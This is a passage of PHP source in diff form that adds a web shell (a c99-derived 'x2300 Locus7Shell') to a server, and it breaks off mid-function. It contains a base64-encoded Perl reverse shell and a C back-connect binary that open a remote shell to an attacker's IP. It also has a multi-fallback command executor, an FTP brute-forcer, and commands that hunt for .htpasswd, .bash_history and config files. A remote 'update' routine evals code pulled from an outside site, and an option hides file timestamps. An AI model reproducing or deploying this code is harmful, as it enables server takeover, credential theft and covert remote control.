backdoor not setup successfully."); } + $_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data"; +} +} + +if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl")) +{ + if(is_writable(".")){ + cf("back",$back_connect); + $p2=which("perl"); + $blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; + if (file_exists("back")) { unlink("back"); } + }else{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + $blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; + if (file_exists("/tmp/back")) { unlink("/tmp/back"); } +} +} + +if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C")) +{ + if(is_writable(".")){ + cf("backc",$back_connect_c); + ex("chmod 777 backc"); + //$blah = ex("gcc back.c -o backc"); + $blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; + //if (file_exists("back.c")) { unlink("back.c"); } + if (file_exists("backc")) { unlink("backc"); } + }else{ + ex("chmod 777 /tmp/backc"); + cf("/tmp/backc",$back_connect_c); + //$blah = ex("gcc -o /tmp/backc /tmp/back.c"); + $blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; + //if (file_exists("back.c")) { unlink("back.c"); } + if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); } } +} + +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or err(); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} + +function cfb($fname,$text) +{ + $w_file=@fopen($fname,"w") or bberr(); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} + +function err() +{ +$_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't connect!</b>"; +} + +function bberr() +{ +$_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't backdoor host!</b>"; +} + +function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} +function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +} +//EoW + + + + + + + + + + + + + + + + +//Start Enumerate function +//function ENUMERATE() + +$hostname_x=php_uname(n); +$itshome = getcwd(); +$itshome = str_replace("/home/","~",$itshome); +$itshome = str_replace("/public_html","/x2300.php",$itshome); +$enumerate = "http://".$hostname_x."/".$itshome.""; + +//End Enumerate function + +//Starting calls +ini_set("max_execution_time",0); +if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} +error_reporting(5); +$adires=""; +@ignore_user_abort(TRUE); +@set_magic_quotes_runtime(0); +$win = strtolower(substr(PHP_OS,0,3)) == "win"; +define("starttime",getmicrotime()); +if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} + +$shver = "1.0a beta"; //Current version +//CONFIGURATION AND SETTINGS +if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";} +elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);} +else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL +} + +$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. + +if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} +if (empty($surl)) +{ + $surl = "?".$includestr; //Self url +} +$surl = htmlspecialchars($surl); + +$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. + +//Authentication +$login = ""; //login +//DON'T FORGOT ABOUT PASSWORD!!! +$pass = ""; //password +$md5_pass = ""; //md5-cryped pass. if null, md5($pass) + +$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") +$login_txt = "Restricted area"; //http-auth message. +$accessdeniedmess = "<a href=\"http://locus7s.com\">x2300 Locus7Shell v.".$shver."</a>: access denied"; + +$gzipencode = TRUE; //Encode with gzip? + +$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE) + +$c99sh_updateurl = "http://locus7s.com/files/lshell_update/"; //Update server +$c99sh_sourcesurl = "http://locus7s.com/"; //Sources-server + +$filestealth = TRUE; //if TRUE, don't change modify- and access-time + +$donated_html = "<center><b>x2300 Locus7Shell Modified by #!physx^ </b></center>"; +/* If you publish free shell and you wish +add link to your site or any other information, +put here your html. */ +$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. + +$curdir = "./"; //start folder +//$curdir = getenv("DOCUMENT_ROOT"); +$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) +$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) + +$log_email = "user@host.tld"; //Default e-mail for sending logs + +$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending +$sort_save = TRUE; //If TRUE then save sorting-position using cookies. + +// Registered file-types. +// array( +// "{action1}"=>array("ext1","ext2","ext3",...), +// "{action2}"=>array("ext4","ext5","ext6",...), +// ... +// ) +$ftypes = array( + "html"=>array("html","htm","shtml"), + "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe"=>array("sh","install","bat","cmd"), + "ini"=>array("ini","inf"), + "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb"=>array("sdb"), + "phpsess"=>array("sess"), + "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); + +// Registered executable file-types. +// array( +// string "command{i}"=>array("ext1","ext2","ext3",...), +// ... +// ) +// {command}: %f% = filename +$dizin = str_replace("\\",DIRECTORY_SEPARATOR,$dizin); +if (empty($dizin)) {$dizin = realpath(".");} elseif(realpath($dizin)) {$dizin = realpath($dizin);} +$dizin = str_replace("\\",DIRECTORY_SEPARATOR,$dizin); +if (substr($dizin,-1) != DIRECTORY_SEPARATOR) {$dizin .= DIRECTORY_SEPARATOR;} +$dizin = str_replace("\\\\","\\",$dizin); +$dizinispd = htmlspecialchars($dizin); +/*dizin*/ +$real = realpath($dizinispd); +$path = basename ($PHP_SELF); +function dosyayicek($link,$file) +{ + $fp = @fopen($link,"r"); + while(!feof($fp)) + { + $cont.= fread($fp,1024); + } + fclose($fp); + + $fp2 = @fopen($file,"w"); + fwrite($fp2,$cont); + fclose($fp2); +} + + + + +$exeftypes = array( + getenv("PHPRC")." -q %f%" => array("php","php3","php4"), + "perl %f%" => array("pl","cgi") +); + +/* Highlighted files. + array( + i=>array({regexp},{type},{opentag},{closetag},{break}) + ... + ) + string {regexp} - regular exp. + int {type}: +0 - files and folders (as default), +1 - files only, 2 - folders only + string {opentag} - open html-tag, e.g. "<b>" (default) + string {closetag} - close html-tag, e.g. "</b>" (default) + bool {break} - if TRUE and found match then break +*/ +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example + array("config.php",1) // example +); + +$safemode_diskettes = array("a"); // This variable for disabling diskett-errors. + // array (i=>{letter} ...); string {letter} - letter of a drive +//$safemode_diskettes = range("a","z"); +$hexdump_lines = 8;// lines in hex preview file +$hexdump_rows = 24;// 16, 24 or 32 bytes in one line + +$nixpwdperpage = 100; // Get first N lines from /etc/passwd + +$bindport_pass = "c99"; // default password for binding +$bindport_port = "31373"; // default port for binding +$bc_port = "31373"; // default port for back-connect +$datapipe_localport = "8081"; // default port for datapipe +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl +OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; + +// Command-aliases +if (!$win) +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "ls -la"), + array("find all suid files", "find / -type f -perm -04000 -ls"), + array("find suid files in current dir", "find . -type f -perm -04000 -ls"), + array("find all sgid files", "find / -type f -perm -02000 -ls"), + array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), + array("find config.inc.php files", "find / -type f -name config.inc.php"), + array("find config* files", "find / -type f -name \"config*\""), + array("find config* files in current dir", "find . -type f -name \"config*\""), + array("find all writable folders and files", "find / -perm -2 -ls"), + array("find all writable folders and files in current dir", "find . -perm -2 -ls"), + array("find all service.pwd files", "find / -type f -name service.pwd"), + array("find service.pwd files in current dir", "find . -type f -name service.pwd"), + array("find all .htpasswd files", "find / -type f -name .htpasswd"), + array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), + array("find all .bash_history files", "find / -type f -name .bash_history"), + array("find .bash_history files in current dir", "find . -type f -name .bash_history"), + array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), + array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), + array("list file attributes on a Linux second extended file system", "lsattr -va"), + array("show opened ports", "netstat -an | grep -i listen") + ); +} +else +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "dir"), + array("show opened ports", "netstat -an") + ); +} + +$sess_cookie = "c99shvars"; // Cookie-variable name + +$usefsbuff = TRUE; //Buffer-function +$copy_unset = FALSE; //Remove copied files from buffer after pasting + +//Quick launch +$quicklaunch = array( + array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl), + array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"), + array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"), + array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"), + array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""), + array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"), + array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"), + array("<br><center><b>[Enumerate]</b>",$enumerate), + array("<b>[Encoder]</b>",$surl."act=encoder&d=%d"), + array("<b>[Tools]</b>",$surl."act=tools&d=%d"), + array("<b>[Proc.]</b>",$surl."act=processes&d=%d"), + array("<b>[FTP Brute]</b>",$surl."act=ftpquickbrute&d=%d"), + array("<b>[Sec.]</b>",$surl."act=security&d=%d"), + array("<b>[SQL]</b>",$surl."act=sql&d=%d"), + array("<b>[PHP-Code]</b>",$surl."act=eval&d=%d"), + array("<b>[Backdoor Host]</b>",$surl."act=shbd"), + array("<b>[Back-Connection]</b>",$surl."act=backc"), + array("<b>[milw0rm it!]</b>",$millink), + array("<b>[PHP-Proxy]</b>",$phprox), + array("<b>[Self remove]</b></center>",$surl."act=selfremove") +); + +//Highlight-code colors +$highlight_background = "#c0c0c0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; + +@$f = $_REQUEST["f"]; +@extract($_REQUEST["c99shcook"]); + +//END CONFIGURATION + + +// \/Next code isn't for editing\/ +/*function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +}*/ +/*function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} + +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or err(0); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +}*/ +/*function err($n,$txt='') +{ +echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#000000><font color=red face=Verdana size=-2><div align=center><b>'; +echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n]; +if(!empty($txt)) { echo " $txt"; } +echo '</b></div></font></td></tr></table>'; +return null; +}*/ +@set_time_limit(0); +$tmp = array(); +foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://locus7s.com/\">x2300 Shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} +if (!empty($login)) +{ + if (empty($md5_pass)) {$md5_pass = md5($pass);} + if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) + { + if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));} + header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\""); + header("HTTP/1.0 401 Unauthorized"); + exit($accessdeniedmess); + } +} +if ($act != "img") +{ +$lastdir = realpath("."); +chdir($curdir); +if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;} +$sess_data = unserialize($_COOKIE["$sess_cookie"]); +if (!is_array($sess_data)) {$sess_data = array();} +if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} +if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} + +$disablefunc = @ini_get("disable_functions"); +if (!empty($disablefunc)) +{ + $disablefunc = str_replace(" ","",$disablefunc); + $disablefunc = explode(",",$disablefunc); +} + +if (!function_exists("c99_buff_prepare")) +{ +function c99_buff_prepare() +{ + global $sess_data; + global $act; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +} +c99_buff_prepare(); + +if (!function_exists("c99_sess_put")) +{ +function c99_sess_put($data) +{ + global $sess_cookie; + global $sess_data; + c99_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); +} +} +foreach (array("sort","sql_sort") as $v) +{ + if (!empty($_GET[$v])) {$$v = $_GET[$v];} + if (!empty($_POST[$v])) {$$v = $_POST[$v];} +} +if ($sort_save) +{ + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} +} +if (!function_exists("str2mini")) +{ +function str2mini($content,$len) +{ + if (strlen($content) > $len) + { + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); + } + else {return $content;} +} +} +if (!function_exists("view_size")) +{ +function view_size($size) +{ + if (!is_numeric($size)) {return FALSE;} + else + { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } +} +} +if (!function_exists("fs_copy_dir")) +{ +function fs_copy_dir($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_copy_obj")) +{ +function fs_copy_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) {return copy($d,$t);} + else {return FALSE;} +} +} +if (!function_exists("fs_move_dir")) +{ +function fs_move_dir($d,$t) +{ + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + $ret = TRUE; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_move_obj")) +{ +function fs_move_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) + { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return FALSE;} + } + else {return FALSE;} +} +} +if (!function_exists("fs_rmdir")) +{ +function fs_rmdir($d) +{ + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +} +if (!function_exists("fs_rmobj")) +{ +function fs_rmobj($o) +{ + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) + { + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return FALSE;} +} +} +if (!function_exists("myshellexec")) +{ +function myshellexec($cmd) +{ + global $disablefunc; + $result = ""; + if (!empty($cmd)) + { + if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} + elseif (($result = `$cmd`) !== FALSE) {} + elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_resource($fp = popen($cmd,"r"))) + { + $result = ""; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } + } + return $result; +} +} +if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} +if (!function_exists("view_perms")) +{ +function view_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + $owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + + return $type.join("",$owner).join("",$group).join("",$world); +} +} +if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} +if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} +if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} +if (!function_exists("parse_perms")) +{ +function parse_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +} +if (!function_exists("parsesort")) +{ +function parsesort($sort) +{ + $one = intval($sort); + $second = substr($sort,-1); + if ($second != "d") {$second = "a";} + return array($one,$second); +} +} +if (!function_exists("view_perms_color")) +{ +function view_perms_color($o) +{ + if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} + elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} + else {return "<font color=green>".view_perms(fileperms($o))."</font>";} +} +} +if (!function_exists("c99getsource")) +{ +function c99getsource($fn) +{ + global $c99sh_sourcesurl; + $array = array( + "c99sh_bindport.pl" => "c99sh_bindport_pl.txt", + "c99sh_bindport.c" => "c99sh_bindport_c.txt", + "c99sh_backconn.pl" => "c99sh_backconn_pl.txt", + "c99sh_backconn.c" => "c99sh_backconn_c.txt", + "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt", + "c99sh_datapipe.c" => "c99sh_datapipe_c.txt", + ); + $name = $array[$fn]; + if ($name) {return file_get_contents($c99sh_sourcesurl.$name);} + else {return FALSE;} +} +} +if (!function_exists("c99sh_getupdate")) +{ +function c99sh_getupdate($update = TRUE) +{ + $url = $GLOBALS["c99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&"; + $data = @file_get_contents($url); + if (!$data) {return "Can't connect to update-server!";} + else + { + $data = ltrim($data); + $string = substr($data,3,ord($data{2})); + if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;} + if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} + if ($data{0} == "\x99" and $data{1} == "\x03") + { + $string = explode("\x01",$string); + if ($update) + { + $confvars = array(); + $sourceurl = $string[0]; + $source = file_get_contents($sourceurl); + if (!$source) {return "Can't fetch update!";} + else + { + $fp = fopen(__FILE__,"w"); + if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c99shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";} + else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";} + } + } + else {return "New version are available: ".$string[1];} + } + elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;} + else {return "Error in protocol: segmentation failed! (".$data.") ";} + } +} +} +if (!function_exists("mysql_dump")) +{ +function mysql_dump($set) +{ + global $shver; + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = 0;} + if (empty($add_drop)) {$add_drop = TRUE;} + if (empty($file)) + { + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = TRUE;} + if (sizeof($tabs) == 0) + { + // retrive tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $out = "# Dumped by Locous7Shell.SQL v. ".$shver." +# Home page: http://www.Locus7s.com +# +# Host settings: +# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." +# Date: ".date("d.m.Y H:i:s")." +# DB: \"".$db."\" +#--------------------------------------------------------- +"; + $c = count($onlytabs); + foreach($tabs as $tab) + { + if ((in_array($tab,$onlytabs)) or (!$c)) + { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + // recieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else + { + $row = 